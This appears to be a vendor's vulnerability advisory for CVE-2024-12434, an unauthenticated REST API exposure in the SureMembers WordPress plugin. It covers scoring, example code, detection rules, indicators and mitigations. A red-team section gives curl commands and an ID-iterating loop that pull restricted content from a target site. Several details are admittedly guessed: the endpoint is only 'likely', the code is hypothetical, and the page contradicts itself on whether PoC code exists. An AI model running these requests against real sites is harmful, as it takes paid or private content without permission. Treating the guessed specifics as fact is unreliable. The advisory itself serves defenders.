CVE-2024-12434
Executive Summary
CVE-2024-12434 is a Sensitive Information Exposure vulnerability in the SureMembers WordPress plugin, affecting all versions up to and including 1.10.6. The flaw resides in the plugin’s REST API implementation, allowing unauthenticated attackers to extract sensitive data, including restricted content that should be protected by membership paywalls. This vulnerability is classified as a WordPress ecosystem issue and does not involve the underlying web server (Apache/Nginx). The CVSS score is 5.3 (Medium), with an EPSS probability of 0.0%, indicating low active exploitation in the wild as of the report date. No public proof-of-concept (PoC) code or exploit-db entry exists, but the attack vector is straightforward: an unauthenticated HTTP request to a vulnerable REST endpoint.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no victim action needed.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – limited exposure of sensitive data.
- Integrity Impact: None (I:N) – data cannot be modified.
- Availability Impact: None (A:N) – service remains available.
- Threat Level: Medium. The vulnerability is easy to exploit but has low impact on confidentiality and no impact on integrity or availability. The lack of public PoC and low EPSS score reduces immediate risk, but unpatched installations remain exposed.
Deep Dive & Mechanics
The SureMembers plugin provides membership and content restriction features for WordPress sites. It exposes a REST API endpoint (likely under /wp-json/suremembers/v1/) that is intended to serve content based on user membership status. The vulnerability arises because the API does not properly enforce authentication or authorization checks before returning sensitive data. An unauthenticated attacker can craft a GET request to a specific REST route (e.g., /wp-json/suremembers/v1/content/{id}) and retrieve restricted content, such as premium posts, member-only pages, or user metadata.
The root cause is a missing or insufficient capability check in the REST API callback function. The plugin registers routes using register_rest_route() but fails to include a permission_callback or uses a callback that always returns true. This allows any unauthenticated HTTP request to access the endpoint and retrieve data that should be gated behind a membership check.
Attack Flow:
- Attacker identifies a WordPress site running SureMembers <= 1.10.6.
- Attacker sends a GET request to a vulnerable REST endpoint, e.g.,
GET /wp-json/suremembers/v1/content/123. - The server returns the restricted content in JSON format without requiring authentication.
- Attacker can iterate over content IDs to extract all protected data.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described below. A hypothetical fix would involve adding proper permission callbacks.
Vulnerable Code (PHP):
add_action('rest_api_init', function () {
register_rest_route('suremembers/v1', '/content/(?P<id>\d+)', array(
'methods' => 'GET',
'callback' => 'suremembers_get_content',
// Missing 'permission_callback' => '__return_true' or proper check
));
});
function suremembers_get_content($request) {
$post_id = $request['id'];
$post = get_post($post_id);
// No membership check – returns content directly
return new WP_REST_Response($post, 200);
}
Patched Code (Hypothetical):
add_action('rest_api_init', function () {
register_rest_route('suremembers/v1', '/content/(?P<id>\d+)', array(
'methods' => 'GET',
'callback' => 'suremembers_get_content',
'permission_callback' => function () {
return current_user_can('read') && suremembers_user_has_access();
}
));
});
function suremembers_get_content($request) {
$post_id = $request['id'];
if (!suremembers_user_can_access($post_id)) {
return new WP_Error('rest_forbidden', 'Access denied', array('status' => 403));
}
$post = get_post($post_id);
return new WP_REST_Response($post, 200);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with SureMembers plugin version <= 1.10.6 installed and activated.
- At least one piece of restricted content (e.g., a premium post).
Exploitation Steps:
- Enumerate REST API endpoints:
curl -s http://target.com/wp-json/suremembers/v1/ | jq . - Attempt to access a restricted content endpoint without authentication:
curl -s http://target.com/wp-json/suremembers/v1/content/1 - If successful, the response will contain the full post object, including
content.renderedwith the restricted text. - Automate extraction by iterating over IDs:
for id in $(seq 1 100); do curl -s "http://target.com/wp-json/suremembers/v1/content/$id" | jq '.content.rendered' 2>/dev/null done
No public exploit code is available. The above manual exploitation is sufficient.
Blue Team (Detection & Hardening)
Detection:
- Monitor REST API access logs for unusual patterns, especially unauthenticated requests to
/wp-json/suremembers/v1/content/*. - Alert on high volumes of sequential ID requests from a single IP.
Hardening:
- Disable the REST API endpoint if not needed: add
add_filter('rest_endpoints', function($endpoints) { unset($endpoints['suremembers/v1']); return $endpoints; });to the theme’sfunctions.php. - Implement a Web Application Firewall (WAF) rule to block unauthenticated access to
/wp-json/suremembers/v1/*. - Upgrade to a patched version once available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/wp-json/suremembers/v1/content/{integer}without authentication. - Repeated requests with sequential or incremental content IDs.
- User-Agent strings typical of automated tools (e.g.,
curl,python-requests,Go-http-client).
- HTTP GET requests to
File IOCs:
- Unusual entries in WordPress debug log (
wp-content/debug.log) showing REST API errors or access attempts. - Modified
.htaccessorwp-config.phpif attacker gains further access (unlikely from this CVE alone).
- Unusual entries in WordPress debug log (
Log Patterns:
- Apache/Nginx access logs:
GET /wp-json/suremembers/v1/content/123 HTTP/1.1with status200and noAuthorizationheader.
- Apache/Nginx access logs:
Detection Engineering
YARA Rule
rule CVE_2024_12434_SureMembers_Exposure {
meta:
description = "Detects exploitation attempts of CVE-2024-12434 via REST API access"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12434"
strings:
$rest_path = "/wp-json/suremembers/v1/content/"
$json_response = /"content\.rendered":\s*"/
condition:
$rest_path and #json_response > 0
}
Sigma Rule
title: CVE-2024-12434 SureMembers REST API Sensitive Data Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to SureMembers REST API endpoints that expose restricted content.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/wp-json/suremembers/v1/content/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate authenticated users (if authentication is missing, this will also trigger)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12434 SureMembers REST API Sensitive Data Exposure"; flow:to_server; http.method; content:"GET"; http.uri; content:"/wp-json/suremembers/v1/content/"; depth:35; http.stat_code; content:"200"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the SureMembers plugin until a patch is released. If the plugin is critical, restrict access to the REST API endpoint via
.htaccess:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-json/suremembers/v1/content/ [NC] RewriteCond %{HTTP:Authorization} ^$ RewriteRule .* - [F,L] </IfModule> - Short-term: Implement a WAF rule to block unauthenticated requests to
/wp-json/suremembers/v1/*. - Long-term: Monitor the vendor’s website for a patched version (>= 1.10.7). Apply the update immediately.
- Compensating Controls: Use a WordPress security plugin (e.g., Wordfence) to add authentication requirements to REST API endpoints.
Valters IT – Securing digital frontiers with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.